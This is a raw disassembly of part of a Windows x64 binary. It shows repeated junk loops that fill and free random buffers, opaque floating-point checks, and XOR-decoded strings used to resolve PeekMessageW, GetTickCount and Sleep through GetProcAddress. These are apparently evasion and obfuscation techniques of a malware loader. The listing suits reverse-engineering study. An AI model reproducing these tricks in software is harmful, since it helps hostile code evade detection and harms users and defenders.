mov qword [rsp + 0x13b8], rax
mov dword [rsp + 0x13b4], 0
cmp dword [rsp + 0x13b4], 0x1bc
jge 0x140044d07
call sub.msvcrt.dll_rand
mov ecx, 0x36c5
cdq
idiv ecx
mov rax, qword [rsp + 0x13b8]
movsxd rcx, dword [rsp + 0x13b4]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x394d
cdq
idiv ecx
add edx, dword [rsp + 0x13c8]
mov dword [rsp + 0x13c8], edx
mov eax, dword [rsp + 0x13b4]
add eax, 1
mov dword [rsp + 0x13b4], eax
jmp 0x140044ca5
mov rax, qword [rsp + 0x13b8]
mov qword [rsp + 0x508], rax
cmp rax, 0
je 0x140044d2e
mov rcx, qword [rsp + 0x508]
call fcn.140071ce0
jmp 0x140044d33
mov eax, dword [rsp + 0x13c4]
add eax, 1
mov dword [rsp + 0x13c4], eax
jmp 0x140044c77
mov dword [rsp + 0x13b0], 0x3430
mov dword [rsp + 0x13ac], 0
cmp dword [rsp + 0x13ac], 0x62a
jge 0x140044e31
mov ecx, 0x16130
call fcn.140071d00
mov qword [rsp + 0x13a0], rax
mov dword [rsp + 0x139c], 0
cmp dword [rsp + 0x139c], 0x9e
jge 0x140044def
call sub.msvcrt.dll_rand
mov ecx, 0x3505
cdq
idiv ecx
mov rax, qword [rsp + 0x13a0]
movsxd rcx, dword [rsp + 0x139c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x2bcd
cdq
idiv ecx
add edx, dword [rsp + 0x13b0]
mov dword [rsp + 0x13b0], edx
mov eax, dword [rsp + 0x139c]
add eax, 1
mov dword [rsp + 0x139c], eax
jmp 0x140044d8d
mov rax, qword [rsp + 0x13a0]
mov qword [rsp + 0x500], rax
cmp rax, 0
je 0x140044e16
mov rcx, qword [rsp + 0x500]
call fcn.140071ce0
jmp 0x140044e1b
mov eax, dword [rsp + 0x13ac]
add eax, 1
mov dword [rsp + 0x13ac], eax
jmp 0x140044d5f
mov dword [rsp + 0x1398], 0x6838
mov dword [rsp + 0x1394], 0
cmp dword [rsp + 0x1394], 0x424
jge 0x140044f19
mov ecx, 0xaa68
call fcn.140071d00
mov qword [rsp + 0x1388], rax
mov dword [rsp + 0x1384], 0
cmp dword [rsp + 0x1384], 0x90
jge 0x140044ed7
call sub.msvcrt.dll_rand
mov ecx, 0x2291
cdq
idiv ecx
mov rax, qword [rsp + 0x1388]
movsxd rcx, dword [rsp + 0x1384]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x3607
cdq
idiv ecx
add edx, dword [rsp + 0x1398]
mov dword [rsp + 0x1398], edx
mov eax, dword [rsp + 0x1384]
add eax, 1
mov dword [rsp + 0x1384], eax
jmp 0x140044e75
mov rax, qword [rsp + 0x1388]
mov qword [rsp + 0x4f8], rax
cmp rax, 0
je 0x140044efe
mov rcx, qword [rsp + 0x4f8]
call fcn.140071ce0
jmp 0x140044f03
mov eax, dword [rsp + 0x1394]
add eax, 1
mov dword [rsp + 0x1394], eax
jmp 0x140044e47
mov dword [rsp + 0x1380], 0x1f6f
mov dword [rsp + 0x137c], 0
cmp dword [rsp + 0x137c], 0x668
jge 0x140045001
mov ecx, 0x1f814
call fcn.140071d00
mov qword [rsp + 0x1370], rax
mov dword [rsp + 0x136c], 0
cmp dword [rsp + 0x136c], 0x179
jge 0x140044fbf
call sub.msvcrt.dll_rand
mov ecx, 0x27ea
cdq
idiv ecx
mov rax, qword [rsp + 0x1370]
movsxd rcx, dword [rsp + 0x136c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x2532
cdq
idiv ecx
add edx, dword [rsp + 0x1380]
mov dword [rsp + 0x1380], edx
mov eax, dword [rsp + 0x136c]
add eax, 1
mov dword [rsp + 0x136c], eax
jmp 0x140044f5d
mov rax, qword [rsp + 0x1370]
mov qword [rsp + 0x4f0], rax
cmp rax, 0
je 0x140044fe6
mov rcx, qword [rsp + 0x4f0]
call fcn.140071ce0
jmp 0x140044feb
mov eax, dword [rsp + 0x137c]
add eax, 1
mov dword [rsp + 0x137c], eax
jmp 0x140044f2f
mov dword [rsp + 0x1368], 0x942
mov dword [rsp + 0x1364], 0
cmp dword [rsp + 0x1364], 0x56d
jge 0x1400450e9
mov ecx, 0x18b60
call fcn.140071d00
mov qword [rsp + 0x1358], rax
mov dword [rsp + 0x1354], 0
cmp dword [rsp + 0x1354], 0x1d0
jge 0x1400450a7
call sub.msvcrt.dll_rand
mov ecx, 0x13e2
cdq
idiv ecx
mov rax, qword [rsp + 0x1358]
movsxd rcx, dword [rsp + 0x1354]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x2e70
cdq
idiv ecx
add edx, dword [rsp + 0x1368]
mov dword [rsp + 0x1368], edx
mov eax, dword [rsp + 0x1354]
add eax, 1
mov dword [rsp + 0x1354], eax
jmp 0x140045045
mov rax, qword [rsp + 0x1358]
mov qword [rsp + 0x4e8], rax
cmp rax, 0
je 0x1400450ce
mov rcx, qword [rsp + 0x4e8]
call fcn.140071ce0
jmp 0x1400450d3
mov eax, dword [rsp + 0x1364]
add eax, 1
mov dword [rsp + 0x1364], eax
jmp 0x140045017
mov dword [rsp + 0x1350], 0x721c
mov dword [rsp + 0x134c], 0
cmp dword [rsp + 0x134c], 0x6cd
jge 0x1400451d1
mov ecx, 0x1a368
call fcn.140071d00
mov qword [rsp + 0x1340], rax
mov dword [rsp + 0x133c], 0
cmp dword [rsp + 0x133c], 0x137
jge 0x14004518f
call sub.msvcrt.dll_rand
mov ecx, 0x21f4
cdq
idiv ecx
mov rax, qword [rsp + 0x1340]
movsxd rcx, dword [rsp + 0x133c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x2a23
cdq
idiv ecx
add edx, dword [rsp + 0x1350]
mov dword [rsp + 0x1350], edx
mov eax, dword [rsp + 0x133c]
add eax, 1
mov dword [rsp + 0x133c], eax
jmp 0x14004512d
mov rax, qword [rsp + 0x1340]
mov qword [rsp + 0x4e0], rax
cmp rax, 0
je 0x1400451b6
mov rcx, qword [rsp + 0x4e0]
call fcn.140071ce0
jmp 0x1400451bb
mov eax, dword [rsp + 0x134c]
add eax, 1
mov dword [rsp + 0x134c], eax
jmp 0x1400450ff
lea rcx, [rsp + 0x1318]
lea rdx, [rsp + 0x1310]
call fcn.14004e7f0
lea rax, [rsp + 0x1318]
mov qword [rsp + 0x1698], rax
mov rax, qword [rsp + 0x1698]
mov qword [rsp + 0x4d0], rax
mov qword [rsp + 0x1710], rax
mov rax, qword [rsp + 0x1710]
mov qword [rsp + 0x4d8], rax
mov qword [rsp + 0x1718], rax
mov rax, qword [rsp + 0x1718]
movzx eax, word [rax + 0x14]
cmp eax, 0
je 0x1400452d8
mov rax, qword [rsp + 0x4d8]
mov qword [rsp + 0x1738], rax
mov qword [rsp + 0x1730], rax
mov rax, qword [rsp + 0x1738]
mov qword [rsp + 0x4c8], rax
mov dword [rsp + 0x172c], 0
cmp dword [rsp + 0x172c], 0xb
jge 0x1400452d3
mov rax, qword [rsp + 0x1730]
movsxd rcx, dword [rsp + 0x172c]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rsp + 0x172c]
mov r8d, 0x34
cdq
idiv r8d
mov rax, qword [rsp + 0x4c8]
add edx, 0x32
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rsp + 0x172c]
mov word [rax + rcx*2], dx
mov eax, dword [rsp + 0x172c]
add eax, 1
mov dword [rsp + 0x172c], eax
jmp 0x14004526e
jmp 0x1400452d8
mov rcx, qword [rsp + 0x4d0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, str.PeekMessageW
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x1330], rax
lea rcx, [rsp + 0x12e8]
lea rdx, [rsp + 0x12e0]
call fcn.14004e830
lea rax, [rsp + 0x12e8]
mov qword [rsp + 0x1678], rax
mov rax, qword [rsp + 0x1678]
mov qword [rsp + 0x4b8], rax
mov qword [rsp + 0x1680], rax
mov rax, qword [rsp + 0x1680]
mov qword [rsp + 0x4c0], rax
mov qword [rsp + 0x16b0], rax
mov rax, qword [rsp + 0x16b0]
movzx eax, word [rax + 0x18]
cmp eax, 0
je 0x140045405
mov rax, qword [rsp + 0x4c0]
mov qword [rsp + 0x16e8], rax
mov qword [rsp + 0x16e0], rax
mov rax, qword [rsp + 0x16e8]
mov qword [rsp + 0x4b0], rax
mov dword [rsp + 0x16dc], 0
cmp dword [rsp + 0x16dc], 0xd
jge 0x140045400
mov rax, qword [rsp + 0x16e0]
movsxd rcx, dword [rsp + 0x16dc]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rsp + 0x16dc]
mov r8d, 0x34
cdq
idiv r8d
mov rax, qword [rsp + 0x4b0]
add edx, 0x32
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rsp + 0x16dc]
mov word [rax + rcx*2], dx
mov eax, dword [rsp + 0x16dc]
add eax, 1
mov dword [rsp + 0x16dc], eax
jmp 0x14004539b
jmp 0x140045405
mov rcx, qword [rsp + 0x4b8]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.GetTickCount
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x1308], rax
mov dword [rsp + 0x12dc], 0x45d2
mov dword [rsp + 0x12d8], 0
cmp dword [rsp + 0x12d8], 0x6d8
jge 0x140045510
mov ecx, 0x1ae60
call fcn.140071d00
mov qword [rsp + 0x12d0], rax
mov dword [rsp + 0x12cc], 0
cmp dword [rsp + 0x12cc], 0x6c
jge 0x1400454ce
call sub.msvcrt.dll_rand
mov ecx, 0x2d93
cdq
idiv ecx
mov rax, qword [rsp + 0x12d0]
movsxd rcx, dword [rsp + 0x12cc]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x2803
cdq
idiv ecx
add edx, dword [rsp + 0x12dc]
mov dword [rsp + 0x12dc], edx
mov eax, dword [rsp + 0x12cc]
add eax, 1
mov dword [rsp + 0x12cc], eax
jmp 0x14004546f
mov rax, qword [rsp + 0x12d0]
mov qword [rsp + 0x4a8], rax
cmp rax, 0
je 0x1400454f5
mov rcx, qword [rsp + 0x4a8]
call fcn.140071ce0
jmp 0x1400454fa
mov eax, dword [rsp + 0x12d8]
add eax, 1
mov dword [rsp + 0x12d8], eax
jmp 0x140045441
mov dword [rsp + 0x12c8], 0x4ec2
mov dword [rsp + 0x12c4], 0
cmp dword [rsp + 0x12c4], 0x451
jge 0x1400455f8
mov ecx, 0x12ddc
call fcn.140071d00
mov qword [rsp + 0x12b8], rax
mov dword [rsp + 0x12b4], 0
cmp dword [rsp + 0x12b4], 0x196
jge 0x1400455b6
call sub.msvcrt.dll_rand
mov ecx, 0x151b
cdq
idiv ecx
mov rax, qword [rsp + 0x12b8]
movsxd rcx, dword [rsp + 0x12b4]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x278a
cdq
idiv ecx
add edx, dword [rsp + 0x12c8]
mov dword [rsp + 0x12c8], edx
mov eax, dword [rsp + 0x12b4]
add eax, 1
mov dword [rsp + 0x12b4], eax
jmp 0x140045554
mov rax, qword [rsp + 0x12b8]
mov qword [rsp + 0x4a0], rax
cmp rax, 0
je 0x1400455dd
mov rcx, qword [rsp + 0x4a0]
call fcn.140071ce0
jmp 0x1400455e2
mov eax, dword [rsp + 0x12c4]
add eax, 1
mov dword [rsp + 0x12c4], eax
jmp 0x140045526
mov dword [rsp + 0x12b0], 0x30ec
mov dword [rsp + 0x12ac], 0
cmp dword [rsp + 0x12ac], 0x472
jge 0x1400456dd
mov ecx, 0xd40c
call fcn.140071d00
mov qword [rsp + 0x12a0], rax
mov dword [rsp + 0x129c], 0
cmp dword [rsp + 0x129c], 0x6f
jge 0x14004569b
call sub.msvcrt.dll_rand
mov ecx, 0x25ae
cdq
idiv ecx
mov rax, qword [rsp + 0x12a0]
movsxd rcx, dword [rsp + 0x129c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x3118
cdq
idiv ecx
add edx, dword [rsp + 0x12b0]
mov dword [rsp + 0x12b0], edx
mov eax, dword [rsp + 0x129c]
add eax, 1
mov dword [rsp + 0x129c], eax
jmp 0x14004563c
mov rax, qword [rsp + 0x12a0]
mov qword [rsp + 0x498], rax
cmp rax, 0
je 0x1400456c2
mov rcx, qword [rsp + 0x498]
call fcn.140071ce0
jmp 0x1400456c7
mov eax, dword [rsp + 0x12ac]
add eax, 1
mov dword [rsp + 0x12ac], eax
jmp 0x14004560e
mov dword [rsp + 0x1298], 0xaf9
mov dword [rsp + 0x1294], 0
cmp dword [rsp + 0x1294], 0x70f
jge 0x1400457c5
mov ecx, 0x17970
call fcn.140071d00
mov qword [rsp + 0x1288], rax
mov dword [rsp + 0x1284], 0
cmp dword [rsp + 0x1284], 0x189
jge 0x140045783
call sub.msvcrt.dll_rand
mov ecx, 0x1b9e
cdq
idiv ecx
mov rax, qword [rsp + 0x1288]
movsxd rcx, dword [rsp + 0x1284]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x3293
cdq
idiv ecx
add edx, dword [rsp + 0x1298]
mov dword [rsp + 0x1298], edx
mov eax, dword [rsp + 0x1284]
add eax, 1
mov dword [rsp + 0x1284], eax
jmp 0x140045721
mov rax, qword [rsp + 0x1288]
mov qword [rsp + 0x490], rax
cmp rax, 0
je 0x1400457aa
mov rcx, qword [rsp + 0x490]
call fcn.140071ce0
jmp 0x1400457af
mov eax, dword [rsp + 0x1294]
add eax, 1
mov dword [rsp + 0x1294], eax
jmp 0x1400456f3
mov dword [rsp + 0x1280], 0x1242
mov dword [rsp + 0x127c], 0
cmp dword [rsp + 0x127c], 0x466
jge 0x1400458ad
mov ecx, 0x164c8
call fcn.140071d00
mov qword [rsp + 0x1270], rax
mov dword [rsp + 0x126c], 0
cmp dword [rsp + 0x126c], 0x174
jge 0x14004586b
call sub.msvcrt.dll_rand
mov ecx, 0x299d
cdq
idiv ecx
mov rax, qword [rsp + 0x1270]
movsxd rcx, dword [rsp + 0x126c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x2ad0
cdq
idiv ecx
add edx, dword [rsp + 0x1280]
mov dword [rsp + 0x1280], edx
mov eax, dword [rsp + 0x126c]
add eax, 1
mov dword [rsp + 0x126c], eax
jmp 0x140045809
mov rax, qword [rsp + 0x1270]
mov qword [rsp + 0x488], rax
cmp rax, 0
je 0x140045892
mov rcx, qword [rsp + 0x488]
call fcn.140071ce0
jmp 0x140045897
mov eax, dword [rsp + 0x127c]
add eax, 1
mov dword [rsp + 0x127c], eax
jmp 0x1400457db
mov dword [rsp + 0x1268], 0x653c
mov dword [rsp + 0x1264], 0
cmp dword [rsp + 0x1264], 0x7b9
jge 0x140045995
mov ecx, 0x18ee0
call fcn.140071d00
mov qword [rsp + 0x1258], rax
mov dword [rsp + 0x1254], 0
cmp dword [rsp + 0x1254], 0x148
jge 0x140045953
call sub.msvcrt.dll_rand
mov ecx, 0x1b7d
cdq
idiv ecx
mov rax, qword [rsp + 0x1258]
movsxd rcx, dword [rsp + 0x1254]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x256d
cdq
idiv ecx
add edx, dword [rsp + 0x1268]
mov dword [rsp + 0x1268], edx
mov eax, dword [rsp + 0x1254]
add eax, 1
mov dword [rsp + 0x1254], eax
jmp 0x1400458f1
mov rax, qword [rsp + 0x1258]
mov qword [rsp + 0x480], rax
cmp rax, 0
je 0x14004597a
mov rcx, qword [rsp + 0x480]
call fcn.140071ce0
jmp 0x14004597f
mov eax, dword [rsp + 0x1264]
add eax, 1
mov dword [rsp + 0x1264], eax
jmp 0x1400458c3
mov dword [rsp + 0x1250], 0x1700
mov dword [rsp + 0x124c], 0
cmp dword [rsp + 0x124c], 0x424
jge 0x140045a7d
mov ecx, 0x16a30
call fcn.140071d00
mov qword [rsp + 0x1240], rax
mov dword [rsp + 0x123c], 0
cmp dword [rsp + 0x123c], 0xf4
jge 0x140045a3b
call sub.msvcrt.dll_rand
mov ecx, 0x3688
cdq
idiv ecx
mov rax, qword [rsp + 0x1240]
movsxd rcx, dword [rsp + 0x123c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x1663
cdq
idiv ecx
add edx, dword [rsp + 0x1250]
mov dword [rsp + 0x1250], edx
mov eax, dword [rsp + 0x123c]
add eax, 1
mov dword [rsp + 0x123c], eax
jmp 0x1400459d9
mov rax, qword [rsp + 0x1240]
mov qword [rsp + 0x478], rax
cmp rax, 0
je 0x140045a62
mov rcx, qword [rsp + 0x478]
call fcn.140071ce0
jmp 0x140045a67
mov eax, dword [rsp + 0x124c]
add eax, 1
mov dword [rsp + 0x124c], eax
jmp 0x1400459ab
mov dword [rsp + 0x1238], 0x24b3
mov dword [rsp + 0x1234], 0
cmp dword [rsp + 0x1234], 0x784
jge 0x140045b65
mov ecx, 0x17eac
call fcn.140071d00
mov qword [rsp + 0x1228], rax
mov dword [rsp + 0x1224], 0
cmp dword [rsp + 0x1224], 0x1b5
jge 0x140045b23
call sub.msvcrt.dll_rand
mov ecx, 0x27e9
cdq
idiv ecx
mov rax, qword [rsp + 0x1228]
movsxd rcx, dword [rsp + 0x1224]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x1948
cdq
idiv ecx
add edx, dword [rsp + 0x1238]
mov dword [rsp + 0x1238], edx
mov eax, dword [rsp + 0x1224]
add eax, 1
mov dword [rsp + 0x1224], eax
jmp 0x140045ac1
mov rax, qword [rsp + 0x1228]
mov qword [rsp + 0x470], rax
cmp rax, 0
je 0x140045b4a
mov rcx, qword [rsp + 0x470]
call fcn.140071ce0
jmp 0x140045b4f
mov eax, dword [rsp + 0x1234]
add eax, 1
mov dword [rsp + 0x1234], eax
jmp 0x140045a93
lea rcx, [rsp + 0x11f8]
lea rdx, [rsp + 0x11f0]
call fcn.14004e870
lea rax, [rsp + 0x11f8]
mov qword [rsp + 0x1668], rax
mov rax, qword [rsp + 0x1668]
mov qword [rsp + 0x460], rax
mov qword [rsp + 0x1670], rax
mov rax, qword [rsp + 0x1670]
mov qword [rsp + 0x468], rax
mov qword [rsp + 0x16b8], rax
mov rax, qword [rsp + 0x16b8]
movzx eax, word [rax + 0x18]
cmp eax, 0
je 0x140045c6c
mov rax, qword [rsp + 0x468]
mov qword [rsp + 0x1700], rax
mov qword [rsp + 0x16f8], rax
mov rax, qword [rsp + 0x1700]
mov qword [rsp + 0x458], rax
mov dword [rsp + 0x16f4], 0
cmp dword [rsp + 0x16f4], 0xd
jge 0x140045c67
mov rax, qword [rsp + 0x16f8]
movsxd rcx, dword [rsp + 0x16f4]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rsp + 0x16f4]
mov r8d, 0x34
cdq
idiv r8d
mov rax, qword [rsp + 0x458]
add edx, 0x32
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rsp + 0x16f4]
mov word [rax + rcx*2], dx
mov eax, dword [rsp + 0x16f4]
add eax, 1
mov dword [rsp + 0x16f4], eax
jmp 0x140045c02
jmp 0x140045c6c
mov rcx, qword [rsp + 0x460]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.Sleep
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x1218], rax
mov dword [rsp + 0x11ec], 0x549c
mov dword [rsp + 0x11e8], 0
cmp dword [rsp + 0x11e8], 0x7a2
jge 0x140045d7a
mov ecx, 0x1aa8c
call fcn.140071d00
mov qword [rsp + 0x11e0], rax
mov dword [rsp + 0x11dc], 0
cmp dword [rsp + 0x11dc], 0xb1
jge 0x140045d38
call sub.msvcrt.dll_rand
mov ecx, 0x36a1
cdq
idiv ecx
mov rax, qword [rsp + 0x11e0]
movsxd rcx, dword [rsp + 0x11dc]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x2f8f
cdq
idiv ecx
add edx, dword [rsp + 0x11ec]
mov dword [rsp + 0x11ec], edx
mov eax, dword [rsp + 0x11dc]
add eax, 1
mov dword [rsp + 0x11dc], eax
jmp 0x140045cd6
mov rax, qword [rsp + 0x11e0]
mov qword [rsp + 0x450], rax
cmp rax, 0
je 0x140045d5f
mov rcx, qword [rsp + 0x450]
call fcn.140071ce0
jmp 0x140045d64
mov eax, dword [rsp + 0x11e8]
add eax, 1
mov dword [rsp + 0x11e8], eax
jmp 0x140045ca8
mov dword [rsp + 0x11d8], 0x59e7
mov dword [rsp + 0x11d4], 0
cmp dword [rsp + 0x11d4], 0x401
jge 0x140045e62
mov ecx, 0x17564
call fcn.140071d00
mov qword [rsp + 0x11c8], rax
mov dword [rsp + 0x11c4], 0
cmp dword [rsp + 0x11c4], 0x132
jge 0x140045e20
call sub.msvcrt.dll_rand
mov ecx, 0x354a
cdq
idiv ecx
mov rax, qword [rsp + 0x11c8]
movsxd rcx, dword [rsp + 0x11c4]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x291c
cdq
idiv ecx
add edx, dword [rsp + 0x11d8]
mov dword [rsp + 0x11d8], edx
mov eax, dword [rsp + 0x11c4]
add eax, 1
mov dword [rsp + 0x11c4], eax
jmp 0x140045dbe
mov rax, qword [rsp + 0x11c8]
mov qword [rsp + 0x448], rax
cmp rax, 0
je 0x140045e47
mov rcx, qword [rsp + 0x448]
call fcn.140071ce0
jmp 0x140045e4c
mov eax, dword [rsp + 0x11d4]
add eax, 1
mov dword [rsp + 0x11d4], eax
jmp 0x140045d90
mov dword [rsp + 0x11c0], 0x2554
mov dword [rsp + 0x11bc], 0
cmp dword [rsp + 0x11bc], 0x587
jge 0x140045f4a
mov ecx, 0x17388
call fcn.140071d00
mov qword [rsp + 0x11b0], rax
mov dword [rsp + 0x11ac], 0
cmp dword [rsp + 0x11ac], 0x189
jge 0x140045f08
call sub.msvcrt.dll_rand
mov ecx, 0x2784
cdq
idiv ecx
mov rax, qword [rsp + 0x11b0]
movsxd rcx, dword [rsp + 0x11ac]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x21f2
cdq
idiv ecx
add edx, dword [rsp + 0x11c0]
mov dword [rsp + 0x11c0], edx
mov eax, dword [rsp + 0x11ac]
add eax, 1
mov dword [rsp + 0x11ac], eax
jmp 0x140045ea6
mov rax, qword [rsp + 0x11b0]
mov qword [rsp + 0x440], rax
cmp rax, 0
je 0x140045f2f
mov rcx, qword [rsp + 0x440]
call fcn.140071ce0
jmp 0x140045f34
mov eax, dword [rsp + 0x11bc]
add eax, 1
mov dword [rsp + 0x11bc], eax
jmp 0x140045e78
mov dword [rsp + 0x11a8], 0x2d10
mov dword [rsp + 0x11a4], 0
cmp dword [rsp + 0x11a4], 0x608
jge 0x140046032
mov ecx, 0x21d08
call fcn.140071d00
mov qword [rsp + 0x1198], rax
mov dword [rsp + 0x1194], 0
cmp dword [rsp + 0x1194], 0x118
jge 0x140045ff0
call sub.msvcrt.dll_rand
mov ecx, 0x368e
cdq
idiv ecx
mov rax, qword [rsp + 0x1198]
movsxd rcx, dword [rsp + 0x1194]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x3a2a
cdq
idiv ecx
add edx, dword [rsp + 0x11a8]
mov dword [rsp + 0x11a8], edx
mov eax, dword [rsp + 0x1194]
add eax, 1
mov dword [rsp + 0x1194], eax
jmp 0x140045f8e
mov rax, qword [rsp + 0x1198]
mov qword [rsp + 0x438], rax
cmp rax, 0
je 0x140046017
mov rcx, qword [rsp + 0x438]
call fcn.140071ce0
jmp 0x14004601c
mov eax, dword [rsp + 0x11a4]
add eax, 1
mov dword [rsp + 0x11a4], eax
jmp 0x140045f60
mov dword [rsp + 0x1190], 0x1352
mov dword [rsp + 0x118c], 0
cmp dword [rsp + 0x118c], 0x5b5
jge 0x14004611a
mov ecx, 0x1df54
call fcn.140071d00
mov qword [rsp + 0x1180], rax
mov dword [rsp + 0x117c], 0
cmp dword [rsp + 0x117c], 0x13b
jge 0x1400460d8
call sub.msvcrt.dll_rand
mov ecx, 0x3369
cdq
idiv ecx
mov rax, qword [rsp + 0x1180]
movsxd rcx, dword [rsp + 0x117c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x21d6
cdq
idiv ecx
add edx, dword [rsp + 0x1190]
mov dword [rsp + 0x1190], edx
mov eax, dword [rsp + 0x117c]
add eax, 1
mov dword [rsp + 0x117c], eax
jmp 0x140046076
mov rax, qword [rsp + 0x1180]
mov qword [rsp + 0x430], rax
cmp rax, 0
je 0x1400460ff
mov rcx, qword [rsp + 0x430]
call fcn.140071ce0
jmp 0x140046104
mov eax, dword [rsp + 0x118c]
add eax, 1
mov dword [rsp + 0x118c], eax
jmp 0x140046048
movss xmm0, dword [0x14009b3f4]
movss dword [rsp + 0x1178], xmm0
movss xmm0, dword [0x14009b3f0]
movss dword [rsp + 0x1178], xmm0
movss xmm0, dword [rsp + 0x1178]
cvtss2sd xmm0, xmm0
movsd xmm1, qword [0x14009b3e8]
ucomisd xmm0, xmm1
jne 0x140046278
jp 0x140046278
mov dword [rsp + 0x1174], 0
cmp dword [rsp + 0x1174], 0x153b
jge 0x140046256
mov ecx, 0x1b43c
call fcn.140071d00
mov qword [rsp + 0x1168], rax
mov dword [rsp + 0x1164], 0
cmp dword [rsp + 0x1164], 0x1e8
jge 0x140046214
call sub.msvcrt.dll_rand
mov ecx, 0x395a
cdq
idiv ecx
mov rax, qword [rsp + 0x1168]
movsxd rcx, dword [rsp + 0x1164]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
cvtsi2sd xmm1, eax
movsd xmm0, qword [0x14009b898]
subsd xmm1, xmm0
movss xmm0, dword [rsp + 0x1178]
cvtss2sd xmm0, xmm0
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rsp + 0x1178], xmm0
mov eax, dword [rsp + 0x1164]
add eax, 1
mov dword [rsp + 0x1164], eax
jmp 0x14004619a
mov rax, qword [rsp + 0x1168]
mov qword [rsp + 0x428], rax
cmp rax, 0
je 0x14004623b
mov rcx, qword [rsp + 0x428]
call fcn.140071ce0
jmp 0x140046240
mov eax, dword [rsp + 0x1174]
add eax, 1
mov dword [rsp + 0x1174], eax
jmp 0x14004616c
movss xmm0, dword [0x14009b3fc]
movss dword [rsp + 0x1178], xmm0
movss xmm0, dword [0x14009b3f8]
movss dword [rsp + 0x1178], xmm0
movss xmm0, dword [rsp + 0x1178]
cvtss2sd xmm0, xmm0
movsd xmm1, qword [0x14009b400]
ucomisd xmm0, xmm1
jne 0x1400463b4
jp 0x1400463b4
mov dword [rsp + 0x1160], 0
cmp dword [rsp + 0x1160], 0x112f
jge 0x140046392
mov ecx, 0x16f44
call fcn.140071d00
mov qword [rsp + 0x1158], rax
mov dword [rsp + 0x1154], 0
cmp dword [rsp + 0x1154], 0x14b
jge 0x140046350
call sub.msvcrt.dll_rand
mov ecx, 0x2e5a
cdq
idiv ecx
mov rax, qword [rsp + 0x1158]
movsxd rcx, dword [rsp + 0x1154]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
cvtsi2sd xmm1, eax
movsd xmm0, qword [0x14009b890]
subsd xmm1, xmm0
movss xmm0, dword [rsp + 0x1178]
cvtss2sd xmm0, xmm0
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rsp + 0x1178], xmm0
mov eax, dword [rsp + 0x1154]
add eax, 1
mov dword [rsp + 0x1154], eax
jmp 0x1400462d6
mov rax, qword [rsp + 0x1158]
mov qword [rsp + 0x420], rax
cmp rax, 0
je 0x140046377
mov rcx, qword [rsp + 0x420]
call fcn.140071ce0
jmp 0x14004637c
mov eax, dword [rsp + 0x1160]
add eax, 1
mov dword [rsp + 0x1160], eax
jmp 0x1400462a8
movss xmm0, dword [0x14009b40c]
movss dword [rsp + 0x1178], xmm0
movss xmm0, dword [0x14009b408]
movss dword [rsp + 0x1178], xmm0
movss xmm0, dword [rsp + 0x1178]
cvtss2sd xmm0, xmm0
movsd xmm1, qword [0x14009b410]
ucomisd xmm0, xmm1
jne 0x1400464f0
jp 0x1400464f0
mov dword [rsp + 0x1150], 0
cmp dword [rsp + 0x1150], 0x1452
jge 0x1400464ce
mov ecx, 0x2380c
call fcn.140071d00
mov qword [rsp + 0x1148], rax
mov dword [rsp + 0x1144], 0
cmp dword [rsp + 0x1144], 0x262
jge 0x14004648c
call sub.msvcrt.dll_rand
mov ecx, 0x1878
cdq
idiv ecx
mov rax, qword [rsp + 0x1148]
movsxd rcx, dword [rsp + 0x1144]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
cvtsi2sd xmm1, eax
movsd xmm0, qword [0x14009b888]
subsd xmm1, xmm0
movss xmm0, dword [rsp + 0x1178]
cvtss2sd xmm0, xmm0
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rsp + 0x1178], xmm0
mov eax, dword [rsp + 0x1144]
add eax, 1
mov dword [rsp + 0x1144], eax
jmp 0x140046412
mov rax, qword [rsp + 0x1148]
mov qword [rsp + 0x418], rax
cmp rax, 0
je 0x1400464b3
mov rcx, qword [rsp + 0x418]
call fcn.140071ce0
jmp 0x1400464b8
mov eax, dword [rsp + 0x1150]
add eax, 1
mov dword [rsp + 0x1150], eax
jmp 0x1400463e4
movss xmm0, dword [0x14009b41c]
movss dword [rsp + 0x1178], xmm0
